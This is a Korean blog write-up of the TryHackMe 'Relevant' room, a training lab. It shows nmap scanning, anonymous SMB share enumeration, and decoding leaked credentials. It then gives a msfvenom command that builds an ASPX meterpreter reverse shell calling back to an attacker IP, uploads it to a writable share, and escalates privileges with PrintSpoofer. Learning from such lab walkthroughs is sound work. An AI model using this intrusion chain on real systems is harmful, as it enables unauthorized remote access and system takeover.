본문 바로가기

보안 프로젝트

[TryHackMe] Relevant 문제풀이

반응형

안녕하세요. 이번에 풀어볼 문제는 Relevant 입니다.

https://tryhackme.com/room/relevant

 

TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

tryhackme.com

 

우선 처음에는 nmap으로 target IP를 scan해봅시다.


  
nmap -A -sV -sC -T4 -p- <target IP>

 

-A : Aggressive scan 모드르 사용하여 다양한 탐지 기능을 활성화합니다. 여기에는 운영 체제 감지, 서비스 버전 감지, 스크립트 실행 등이 포함됩니다.

 

-sV: Service version detection으로, 열린 포트에서 제공되는 서비스와 그 버전을 식별합니다.

 

-sCDefault script scan을 활성화하여 Nmap의 기본 스크립트를 사용하여 각 서비스에 대해 기본적인 취약점 검사를 수행합니다.

 

-T4Timing template 4를 사용하여 스캔 속도를 증가시키고 시간 초과를 조정합니다. 이 옵션은 속도와 정확성의 균형을 맞추는 데 사용됩니다.

 

-p-All ports를 스캔하도록 지정하며, 1번 포트부터 65535번 포트까지 모두 확인합니다.

nmap scan을 통해 활성화되어 있는 포트를 확인하고 사용하고 있는 OS는 Windows이며

445/tcp에서 microsoft-ds를 보아 SMB 서비스를 운영중임을 알 수 있습니다.

또한 49663/tcp에서 역시 80번 포트와 같이 HTTP 서버가 실행중임을 알 수 있습니다.

 

SMB란

SMB는 네트워크 파일 공유 프로토콜로, Windows 및 UNIX 계열 시스템간 파일 및 프린터 공유에 사용됩니다.

 

SMB의 주요 기능으로는 

파일공유 - 네트워크를 통해 파일을 공유하고 엑세스 가능

프린터 공유 - 네트워크를 통해 프린터 사용 가능

IPC - 원격 프로세스 간 통신 지원

인증 및 권한 관리 - 사용자를 인증하고 접근 권한 제어 가능

 

 

SMB는 다양한 취약점이 존재하므로 우선 SMB에 대해 조사를 시작합니다.


  
smbclient -L \\<target IP> -N

 

smbclient - Samba 클라이언트 프로그램(리눅스에서 SMB 서버에 접속하는 도구)

-L - 리스트 옵션으로 지정한 서버의 공유 목록을 조회

- N - 비밀번호 없이 익명 로그인 시도

 

nt4wrksv라는 수상한 dir을 찾았습니다. 조사를 더 깊이 해봅시다.


  
smbclient \\\\<target IP>\\nt4wrksv

 

\\을 연속으로 두개 써서 \로 표현합니다. (이스케이프문자 이슈)

 

우리는 passwords.txt라는 파일을 얻었습니다.

이를 다운로드 받아 열게 되면

incoding된 문자열이 나오게 됩니다.

이제 이를 base64로 decoding 해줍시다.

 

 

 

이제 다음에 할 일은 nt4wrksv dir에 익명 접속이 가능하다는 사실을 이용하여 해당 dir안에 reverse shell 파일을 넣어 shell을 탈취해봅시다.

 

우선 해당 서버에 넣을 reverse shell 파일을 생성해줍니다.


  
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.21.123.152 lport=6666 -f aspx -o reverse_shell.aspx

 

msfvenom - Metasploit 프레임워크에서 제공하는 페이로드 생성 도구로, 다양한 페이로드를 생성하고 포맷을 지정하여 악성 코드, 리버스 쉘, 바인드 쉘 등을 만들 수 있습니다.

 

-p - 사용할 페이로드 지정

lhost - 공격자 IP주소 지정

lport - 공격자가 대기할 포트 번호 지정

-f aspx - 출력 파일 형식을 ASPX로 지정

-o reverse_shell.aspx - 생성된 파일을 reverse_shell.aspx로 저장

 

 

ASPX파일을 사용하여 Reverse Shell을 생성한 이유는

IIS 웹 서버에서 실행되는 Windows 기반 서버에서는 ASPX 파일이 실행될 가능성이 높기 때문입니다.

 

이렇게 생성한 reverse shell 파일을 nt4wrksv dir 안에 넣어줍니다.

 

 

이제 다음에 할 일은 msfconsole을 이용하여 metasploit 콘솔을 실행하고

use exploit/multi/handler를 이용해 타겟이 페이로드를 실행하면, 그 연결을 받아줍니다.

이후 show options를 통해타겟이 사용할 페이로드와  LHOST와 LPORT를 설정해주고 

run을 입력하여 리버스 쉘 핸들러를 실행하고 target이 페이로드를 실행할 때 까지 연결을 대기하게 됩니다.

 

이후에

특정 URL에 HTTP 요청을 보내는 curl 명령어를 통해

타겟IP가 아까 넣어둔 reverse_shell.aspx를 실행하게 하면 성공적으로 연결이 끝나게 됩니다.

 

 

 

이렇게 연결된 shell을 이용해 첫번째 문제인 user flag를 찾아냅니다.

 

이제 남은 할 일은 root권한을 습득하여 root flag를 찾아내야 합니다.

 

getprivs를 이용해 현재 프로세스가 가진 모든 권한을 출력해봅시다.

이제부터 SeImpersonatePrivilege를 이용해 권한 상승을 해 봅시다.

이를 위해서는 PrintSpoofer공격을 수행해야 합니다.

 

우선 PrintSpoofer를 다운로드해줍니다.

 

다운로드 한 파일을 전과 같이 nt4wrksv dir안에 넣어줍시다.

 

이후 다시 meterpreter에서 shell로 전환해줍니다.

 

이후에 nt4wrksv dir안에 넣어둔 PrintSpoofer64.exe을 실행하게 되면 권한 상승에 성공합니다.

 

이제 root flag 위치를 찾아내어 

 

이렇게 문제를 마무리하게 됩니다.

 

반응형